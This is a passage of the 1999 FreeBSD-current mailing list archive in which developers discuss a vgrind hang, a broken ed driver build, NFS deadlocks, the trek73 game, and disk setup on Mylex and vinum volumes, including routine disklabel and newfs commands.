From owner-freebsd-current Sun Oct 24 0: 5:31 1999 Delivered-To: freebsd-current@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id F13DB1505F for ; Sun, 24 Oct 1999 00:05:25 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: from yedi.iaf.nl (uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id IAA15430; Sun, 24 Oct 1999 08:55:57 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.9.3/8.9.3) id BAA02018; Sun, 24 Oct 1999 01:58:46 +0200 (CEST) (envelope-from wilko) From: Wilko Bulte Message-Id: <199910232358.BAA02018@yedi.iaf.nl> Subject: Re: NOTE NOTE NOTE:Re: does anybody but me (..vgrinds forever...) In-Reply-To: from Matthew Jacob at "Oct 23, 1999 2:31: 8 pm" To: mjacob@feral.com Date: Sun, 24 Oct 1999 01:58:46 +0200 (CEST) Cc: dillon@apollo.backplane.com, freebsd-current@FreeBSD.ORG X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As Matthew Jacob wrote ... > > On Sat, 23 Oct 1999, Matthew Dillon wrote: > > > :It really is vgring hanging on a file: > > : > > :vgrind -f < /usr/src/share/doc/papers/kernmalloc/appendix.t > appendix.ms > > : > > :A plain vgrind -f on this file also hangs. Anyone have a clue on this? > > : > > :This happens for me on an alpha. > > : > > :-matt > > > > The vgrind command above does not hang on my PIII test box. It takes > > about a second to run. I tried both an old binary and a new binary of > > vgrind. Both worked. > > > > I recommend compiling vgrind up w/ full debugging and attaching a > > debugger to it to see what is up. > > > Not an executable... but I finally figured it out... Pipes possibly broken > as set up by csh- csh was an old (Oct 1) csh. Until I updated csh from the > current build tree, what actually was happening was vfontedpr was piping > to 'cat -'.... and this was hanging..... Wierd city, but all better now I > believe... possibly related to the signal changes(?).... I've seen the same (see the list archives) on alpha a week or 2 back. Solved by manually making and installing csh. W/ -- | / o / / _ Arnhem, The Netherlands - Powered by FreeBSD - |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 0:19:43 1999 Delivered-To: freebsd-current@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 5AE2315091 for ; Sun, 24 Oct 1999 00:19:39 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id DAA15871; Sun, 24 Oct 1999 03:19:36 -0400 (EDT) Date: Sun, 24 Oct 1999 03:19:35 -0400 (EDT) From: "Matthew N. Dodd" To: "Jordan K. Hubbard" Cc: current@FreeBSD.ORG Subject: Re: Are we going to fix -current's ed driver anytime soon? In-Reply-To: <72514.940698279@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've added the hack for NCARD = 0 to if_ed_isa.c On Sat, 23 Oct 1999, Jordan K. Hubbard wrote: > >From current.freebsd.org's release build log: > > linking BOOTMFS > if_ed_isa.o: In function `ed_isa_probe': > if_ed_isa.o(.text+0x45): undefined reference to `ed_probe_WD80x3' > if_ed_isa.o(.text+0x54): undefined reference to `ed_release_resources' > if_ed_isa.o(.text+0x5a): undefined reference to `ed_probe_3Com' > if_ed_isa.o(.text+0x69): undefined reference to `ed_release_resources' > if_ed_isa.o(.text+0x6f): undefined reference to `ed_probe_Novell' > if_ed_isa.o(.text+0x7e): undefined reference to `ed_release_resources' > > It's time to either fix this or back out the changes which broke it. > If nobody finds the time to do the former in the next 48 hours, I'll > do the latter myself. > > - Jordan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 0:42:16 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 9F54115091 for ; Sun, 24 Oct 1999 00:42:12 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id AAA17268; Sun, 24 Oct 1999 00:42:12 -0700 (PDT) (envelope-from dillon) Date: Sun, 24 Oct 1999 00:42:12 -0700 (PDT) From: Matthew Dillon Message-Id: <199910240742.AAA17268@apollo.backplane.com> To: freebsd-current@freebsd.org Subject: freefall hangs w/ nfs References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It looks on the face of it that AMD is hanging. Perhaps this is preventing the system from clearing out buffers and causing lockups on other mounts. AMD could also be causing a deadlock to occur in the buffer cache (for the same reason loopback mounts can cause deadlocks). The next time this happens, if the person rebooting freefall can get a kernel dump (and have a corresponding debug kernel) I may be able to track it down for sure. Fixing it is another problem, though. Loopback deadlocks are a big problem under 3.x. Essentially what occurs under 3.x is that the buffer cache runs out of buffers (or buffer space) during a client op and tries to synchronously flush unrelated dirty buffers to clear out some room. It may flush a write of a client side buffer which runs an rpc to an nfsd running on the same machine (i.e. via a loopback mount) which then turns around and tries to allocate a new buffer to issue it's filesystem write, which may in turn also run out of buffers or buffer space and attempt to flush another unrelated dirty buffer which could be another client-side buffer. But at that point nfsd is locked up in getnewbuf(), so the result is a deadlock that locks up the NFS node entirely (and might NOT lockup the rest of the machine). Under 3.x this is a big problem due to the synchronous flush recursion in getnewbuf(). Under 4.x this is not as big a problem because flushing is asynchronized by the buf_daemon. I've been trying to find a solution to the problem for 3.x. I have a few ideas. I think we can add a flag to the mount structure that getnewbuf() would set when synchronously flushing a buffer. The flag would prevent another getnewbuf() call (say one called from nfsd) from trying to flush buffers from the same client mount, preventing a deadlock. I have to setup a 3.x box and reproduce the deadlock before I can test the fix, though, and that will take a bit of time. -Matt Oct 15 06:18:08 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 15 06:44:49 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 15 16:29:50 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 15 16:37:26 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 15 22:46:08 freefall shutdown: reboot by jdp: Rebooting to unstick NFS Oct 21 03:10:15 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 21 03:34:24 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 21 04:38:39 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 21 04:46:56 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 21 11:56:01 freefall shutdown: reboot by jdp: Rebooting to clear filesystem related hangs Oct 22 04:23:41 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 22 04:56:57 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 22 16:40:55 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 22 17:52:34 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 23 00:36:56 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 23 02:45:57 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 23 04:16:57 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 23 04:46:56 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 23 14:44:22 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 23 14:51:53 freefall /kernel: nfs server pid173@freefall:/host: not responding Oct 23 15:35:55 freefall amd[24839]: /host: mount (amfs_auto_cont): Stale NFS file handle Oct 23 15:35:55 freefall /kernel: nfs server pid173@freefall:/host: is alive again Oct 23 15:38:40 freefall amd[25003]: /host: mount (amfs_auto_cont): Stale NFS file handle Oct 23 15:44:05 freefall shutdown: reboot by unfurl: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 1:22:18 1999 Delivered-To: freebsd-current@freebsd.org Received: from argus.tfs.net (host1-128.birch.net [216.212.1.128]) by hub.freebsd.org (Postfix) with ESMTP id CF03814BFF for ; Sun, 24 Oct 1999 01:22:12 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id DAA29152; Sun, 24 Oct 1999 03:21:45 -0500 (CDT) From: Jim Bryant Message-Id: <199910240821.DAA29152@argus.tfs.net> Subject: Re: trek73 In-Reply-To: from Chuck Robey at "Oct 24, 99 00:17:12 am" To: chuckr@picnic.mat.net (Chuck Robey) Date: Sun, 24 Oct 1999 03:21:44 -0500 (CDT) Cc: freebsd-current@freebsd.org Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > On Sat, 23 Oct 1999, Matthew Dillon wrote: > > > I found a copy of the C version of trek73 in my Amiga archives. This > > is the trek73 originally written in HP-2000 Basic that was rewritten > > by Dave Pare and Chris Williams in C and seriously enhanced by a bunch > > of people including me in my early college years circa 1985. > > > > I don't think any of the authors would mind if it went into /usr/games, > > but tracking them down is close to impossible since ucbvax no longer > > exists. If nobody knows different, I would like to clean it up (fairly > > easy since it's already in C) and commit it in. > > > > I've included the docs below. > > Remembering from ancient history, didn't this make the rounds to just > about anyone who wanted to learn code? I think it was even in a DEC games > book. > > I think putting this into games is safe, but there's another trek in games > already ... I haven't played trek in a looong time, is this one better in > some way than the one already there? If it doesn't get into /usr/games, > anyhow, it can certainly go into ports. we used to play a startrek [multi-user] at buena high school in ventura on the PDP-11/44 and was written in BASIC-Plus 2 under RSTS/E in 1984. It could have been a port of the same game... i've been looking for that one for years. i lost my only listing of that in one of my moves to texas from calif in 1986... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 - KPC3+ - PK-232MBX/DSP To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 1:23:57 1999 Delivered-To: freebsd-current@freebsd.org Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by hub.freebsd.org (Postfix) with ESMTP id 09B2E150CE for ; Sun, 24 Oct 1999 01:23:29 -0700 (PDT) (envelope-from darrylo@sr.hp.com) Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173]) by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id EAA23128 for ; Sun, 24 Oct 1999 04:22:40 -0400 (EDT) Received: from mina.sr.hp.com (root@mina.sr.hp.com [15.4.42.247]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id BAA15330 for ; Sun, 24 Oct 1999 01:23:23 -0700 (PDT) Received: from localhost (darrylo@mina.sr.hp.com [15.4.42.247]) by mina.sr.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.7.3 TIS 5.0) id BAA04463 for ; Sun, 24 Oct 1999 01:22:56 -0700 (PDT) Message-Id: <199910240822.BAA04463@mina.sr.hp.com> To: freebsd-current@FreeBSD.ORG Subject: Re: trek73 Reply-To: Darryl Okahata In-reply-to: Your message of "Sat, 23 Oct 1999 20:53:43 PDT." <199910240353.UAA12397@apollo.backplane.com> Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Sun, 24 Oct 1999 01:22:55 -0700 From: Darryl Okahata Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > I found a copy of the C version of trek73 in my Amiga archives. This > is the trek73 originally written in HP-2000 Basic that was rewritten > by Dave Pare and Chris Williams in C and seriously enhanced by a bunch > of people including me in my early college years circa 1985. Wow. Talk about ancient history. Out of curiosity, how different is this version from the one (V4.0) posted to comp.sources.games back in December, 1987? Just FYI, if this is the Jeff Okamoto I'm thinking about, he's with HP. -- Darryl Okahata darrylo@sr.hp.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Hewlett-Packard, or of the little green men that have been following him all day. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 2:12:55 1999 Delivered-To: freebsd-current@freebsd.org Received: from peedub.muc.de (peedub.muc.de [193.149.49.109]) by hub.freebsd.org (Postfix) with ESMTP id 629DA14EEA for ; Sun, 24 Oct 1999 02:12:42 -0700 (PDT) (envelope-from garyj@peedub.muc.de) Received: from peedub.muc.de (localhost [127.0.0.1]) by peedub.muc.de (8.9.3/8.6.9) with ESMTP id KAA09309 for ; Sun, 24 Oct 1999 10:59:30 +0200 (CEST) Message-Id: <199910240859.KAA09309@peedub.muc.de> X-Mailer: exmh version 2.1.0 09/18/1999 To: freebsd-current@FreeBSD.ORG Subject: Re: trek73 Reply-To: Gary Jennejohn In-reply-to: Your message of "Sat, 23 Oct 1999 21:07:19 PDT." <58658.940738039@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 24 Oct 1999 10:59:30 +0200 From: Gary Jennejohn Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" writes: >> I don't think any of the authors would mind if it went into /usr/games, > >I certainly wouldn't. It would be an old game returning home to the >Berkeley world, and I also used to play it a lot on the HP-2000. > >The 'ol HP 2000 access, now that brings back memories... Did you know >I once wrote an entire multi-user BBS (emeryville's HP-BBS) in HP >basic? But I digress.. :) > >- Jordan > [enormous number of lines snipped] I don't want to get nasty here, but was it _really_ necessary to forward the entire, original, humungous mail to add a few lines of commentary to it ? Not all of us are sitting behind an internet connection which is being payed for by our employer, or dirt-cheap like in the US of A !! Julian E. only added a few characters, for cryin' out loud. --- Gary Jennejohn Home - garyj@muc.de Work - garyj@fkr.cpqcorp.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 3: 0:54 1999 Delivered-To: freebsd-current@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id EF47614CFB for ; Sun, 24 Oct 1999 03:00:51 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id DAA19979; Sun, 24 Oct 1999 03:00:46 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Gary Jennejohn Cc: freebsd-current@FreeBSD.ORG Subject: Re: trek73 In-reply-to: Your message of "Sun, 24 Oct 1999 10:59:30 +0200." <199910240859.KAA09309@peedub.muc.de> Date: Sun, 24 Oct 1999 03:00:46 -0700 Message-ID: <19975.940759246@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I don't want to get nasty here, but was it _really_ necessary to forward > the entire, original, humungous mail to add a few lines of commentary to Sorry, but as I already commented to another person, I actually only read the first two paragraphs of Matt's message before replying and didn't even get to the part where he included the software itself, so I frankly didn't even notice it was a large message until I got the indignant responses. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 7:47:50 1999 Delivered-To: freebsd-current@freebsd.org Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (Postfix) with ESMTP id 3DE1514C12 for ; Sun, 24 Oct 1999 07:47:47 -0700 (PDT) (envelope-from mike@sentex.net) Received: from ospf-mdt.sentex.net (ospf-mdt.sentex.net [205.211.164.81]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id KAA01168; Sun, 24 Oct 1999 10:47:45 -0400 (EDT) From: mike@sentex.net (Mike Tancsa) To: freebsd-current@freebsd.org Cc: mike@smith.net.au (Mike Smith) Subject: Re: Mylex 960 Date: Sun, 24 Oct 1999 14:47:44 GMT Message-ID: <38131acc.269521301@mail.sentex.net> References: <3.0.5.32.19991022162211.01d2c930@staff.sentex.ca> In-Reply-To: X-Mailer: Forte Agent .99e/32.227 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 22 Oct 1999 16:58:48 -0400, in sentex.lists.freebsd.current you wrote: >> >> I have just started to play with the Mylex Controler and I get >> >> "attempt to write beyond end of drive" >> >> When trying to write to the drive. > >This is the bug that Chris Csanady just uncovered; I've committed his >patches, they should show up shortly. Hi, I tried the latest this morning, and still the same issue. Oct 24 09:52:08 slag2a /kernel: mlx0: I/O error - attempt to writt to write beyond end of drive Oct 24 09:52:08 slag2a /kernel: mlx0: I/O error - attempt to write beyond end of drive FreeBSD 4.0-CURRENT #0: Sun Oct 24 09:34:47 EDT 1999 How should I be fdisking and disklabling the drive ? Anything different than dd if=/dev/zero of=/dev/rmlxd0 bs=1k count=1 disklabel -Brw mlxd0 auto disklabel -e mlxd0 newfs /dev/rmlxd0e Thanks, ---Mike Mike Tancsa (mdtancsa@sentex.net) Sentex Communications Corp, Waterloo, Ontario, Canada "Given enough time, 100 monkeys on 100 routers could setup a national IP network." (KDW2) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 8:53:38 1999 Delivered-To: freebsd-current@freebsd.org Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130]) by hub.freebsd.org (Postfix) with ESMTP id 4437A150BF for ; Sun, 24 Oct 1999 08:53:32 -0700 (PDT) (envelope-from dennis.glatting@software-munitions.com) Received: from localhost (dennisg@localhost) by btw.plaintalk.bellevue.wa.us (8.9.3/8.9.3) with ESMTP id IAA10457 for ; Sun, 24 Oct 1999 08:53:28 -0700 (PDT) Date: Sun, 24 Oct 1999 08:53:28 -0700 (PDT) From: Dennis Glatting To: freebsd-current@freebsd.org Subject: Strangeness with vinum Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just want to document some strangeness I see with vinum, in case it has been noticed before but not identified, or someone knows a cure. I have a Dell XPS D333 with two Adaptec 2940 Ultra SCSI adapters, one assigned to fast things and the other to slow things, generally. On the slow adapter I have two SEAGATE ST43400N disks I placed under vinum. Below is my config file. drive a device /dev/da3e drive b device /dev/da4e volume vol1 plex org striped 16k sd length 2777m drive a sd length 2777m drive b When I run "iozone -aR" against the volume the entire disks subsystem seems to take a pause from time to time when the file sizes get large (>= 32 MB). By this I mean the pause encompasses both disk controllers. Specifically, if I enter a command in a window, such as "ls," against a disk on the fast controller and my cwd is on that controller too, then there is a big delay before the disk is listed, on the order of 5-10 seconds. My PATH variable does not include any devices on the slow controller. The window system still runs fine as does the network. Strange. Below is my dmesg. Copyright (c) 1992-1999 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.3-STABLE #23: Sat Sep 25 08:27:04 PDT 1999 root@btw:/ExternalDisk/FreeBSD-btw-3.x/src/sys/compile/BTW Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 333346563 Hz CPU: Pentium II/Xeon/Celeron (333.35-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x650 Stepping = 0 Features=0x183f9ff real memory = 402653184 (393216K bytes) avail memory = 388628480 (379520K bytes) Preloaded elf kernel "kernel" at 0xc02fa000. Pentium Pro MTRR support enabled Probing for devices on PCI bus 0: chip0: rev 0x03 on pci0.0.0 chip1: rev 0x03 on pci0.1.0 chip2: rev 0x01 on pci0.7.0 ide_pci0: rev 0x01 on pci0.7.1 chip3: rev 0x01 on pci0.7.3 xl0: <3Com 3c905-TX Fast Etherlink XL> rev 0x00 int a irq 10 on pci0.13.0 xl0: Ethernet address: 00:60:08:b0:3d:a6 xl0: autoneg complete, link status good (half-duplex, 10Mbps) xl1: <3Com 3c905B-TX Fast Etherlink XL> rev 0x64 int a irq 9 on pci0.14.0 xl1: Ethernet address: 00:50:04:d2:9f:c6 xl1: autoneg complete, link status good (half-duplex, 10Mbps) ahc0: rev 0x00 int a irq 3 on pci0.15.0 ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs ahc1: rev 0x00 int a irq 11 on pci0.16.0 ahc1: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs Probing for devices on PCI bus 1: vga0: rev 0x21 int a irq 9 on pci1.0.0 Probing for devices on the ISA bus: sc0 on isa sc0: VGA color <16 virtual consoles, flags=0x0> atkbdc0 at 0x60-0x6f on motherboard atkbd0 irq 1 on isa psm0 irq 12 on isa psm0: model IntelliMouse, device ID 3 sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc1 at 0x170-0x177 irq 15 on isa wdc1: unit 0 (atapi): , removable, accel, dma, iordis wst0: Drive empty, readonly, reverse, qfa, ecc, 512b wst0: Max speed=600Kb/s, Transfer limit=52 blocks, Buffer size=728 blocks ppc0 at 0x378 irq 7 on isa ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode ppi0: on ppbus 0 vga0 at 0x3b0-0x3df maddr 0xa0000 msize 131072 on isa npx0 on motherboard npx0: INT 16 interface sb0 at 0x220 irq 5 drq 1 on isa snd0: sbxvi0 at drq 5 on isa snd0: sbmidi0 at 0x330 on isa snd0: IP packet filtering initialized, divert enabled, rule-based forwarding enabled, logging limited to 256 packets/entry by default IP Filter: initialized. Default = pass all, Logging = enabled Waiting 15 seconds for SCSI devices to settle sa0 at ahc1 bus 0 target 4 lun 0 sa0: Removable Sequential Access SCSI-CCS device sa0: 3.300MB/s transfers da1 at ahc0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-3 device da1: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da1: 8759MB (17938986 512 byte sectors: 255H 63S/T 1116C) da2 at ahc0 bus 0 target 12 lun 0 da2: Fixed Direct Access SCSI-2 device da2: 20.000MB/s transfers (10.000MHz, offset 8, 16bit), Tagged Queueing Enabled da2: 8669MB (17755614 512 byte sectors: 255H 63S/T 1105C) cd0 at ahc1 bus 0 target 5 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 20.000MB/s transfers (20.000MHz, offset 15) cd0: cd present [326045 x 2048 byte records] changing root device to da0s1a da4 at ahc1 bus 0 target 2 lun 0 da4: Fixed Direct Access SCSI-2 device da4: 10.000MB/s transfers (10.000MHz, offset 15), Tagged Queueing Enabled da4: 2777MB (5688447 512 byte sectors: 255H 63S/T 354C) da3 at ahc1 bus 0 target 1 lun 0 da3: Fixed Direct Access SCSI-2 device da3: 10.000MB/s transfers (10.000MHz, offset 15), Tagged Queueing Enabled da3: 2777MB (5688447 512 byte sectors: 255H 63S/T 354C) da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit) da0: 4095MB (8388314 512 byte sectors: 255H 63S/T 522C) vinum: loaded vinum: reading configuration from /dev/da4e vinum: updating configuration from /dev/da3e xl0: promiscuous mode enabled vinum: CONFIGURATION OBLITERATED vinum: drive a is up vinum: drive b is up vinum: vol1.p0.s0 is up vinum: vol1.p0.s1 is up vinum: vol1.p0 is up vinum: vol1 is up vinum: vol1.p0 is up -- Dennis Glatting Copyright (c) 1999 Software Munitions To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 9:10: 7 1999 Delivered-To: freebsd-current@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 7D45514C9C for ; Sun, 24 Oct 1999 09:09:59 -0700 (PDT) (envelope-from mike@sentex.net) Received: from gravel (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id MAA00905; Sun, 24 Oct 1999 12:09:50 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <4.1.19991024120854.0411ecc0@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Sun, 24 Oct 1999 12:09:46 -0400 To: Greg Lehey From: Mike Tancsa Subject: Re: AMRD (MegaRAID) BIOS rev another other questions Cc: current@FreeBSD.ORG In-Reply-To: <19991024095138.59881@mojave.worldwide.lemis.com> References: <38104f40.86321443@mail.sentex.net> <3.0.5.32.19991020143339.016e0210@staff.sentex.ca> <38104f40.86321443@mail.sentex.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:51 AM 10/24/99 , Greg Lehey wrote: >> cc -O -pipe -g rawio.c -o rawio >> rawio.c: In function `dochild': >> rawio.c:496: incompatible types in initialization >> *** Error code 1 > >What version of FreeBSD are you running here? FreeBSD 4.0-CURRENT #0: Sun Oct 24 09:34:47 EDT 1999 ---Mike ********************************************************************** Mike Tancsa, Network Admin * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 01.519.651.3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 10:21: 9 1999 Delivered-To: freebsd-current@freebsd.org Received: from dingo.cdrom.com (castles546.castles.com [208.214.165.110]) by hub.freebsd.org (Postfix) with ESMTP id 1054C14F9B for ; Sun, 24 Oct 1999 10:21:04 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id KAA13058; Sun, 24 Oct 1999 10:12:21 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199910241712.KAA13058@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: mike@sentex.net (Mike Tancsa) Cc: freebsd-current@freebsd.org Subject: Re: Mylex 960 In-reply-to: Your message of "Sun, 24 Oct 1999 14:47:44 GMT." <38131acc.269521301@mail.sentex.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 24 Oct 1999 10:12:06 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I tried the latest this morning, and still the same issue. > Oct 24 09:52:08 slag2a /kernel: mlx0: I/O error - attempt to writt to write > beyond end of drive > Oct 24 09:52:08 slag2a /kernel: mlx0: I/O error - attempt to write beyond > end of drive > FreeBSD 4.0-CURRENT #0: Sun Oct 24 09:34:47 EDT 1999 > > How should I be fdisking and disklabling the drive ? Anything different > than > dd if=/dev/zero of=/dev/rmlxd0 bs=1k count=1 > disklabel -Brw mlxd0 auto > disklabel -e mlxd0 > newfs /dev/rmlxd0e That's OK as long as you make the 'e' partition correctly. Try newfs'ing the 'c' partition instead. It'd also help to see the boot messages from the driver and the disklabel, since it looks like the controller and the disklabel disagree about the size of the drive. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 24 11: 8:55 1999 Delivered-To: freebsd-current@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 1BD52150D4 for ; Sun, 24 Oct 1999 11:08:49 -0700 (PDT) (envelope-from mike@sentex.net) Received: from gravel (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id OAA01726; Sun, 24 Oct 1999 14:08:37 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <4.1.19991024140341.04a188b0@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 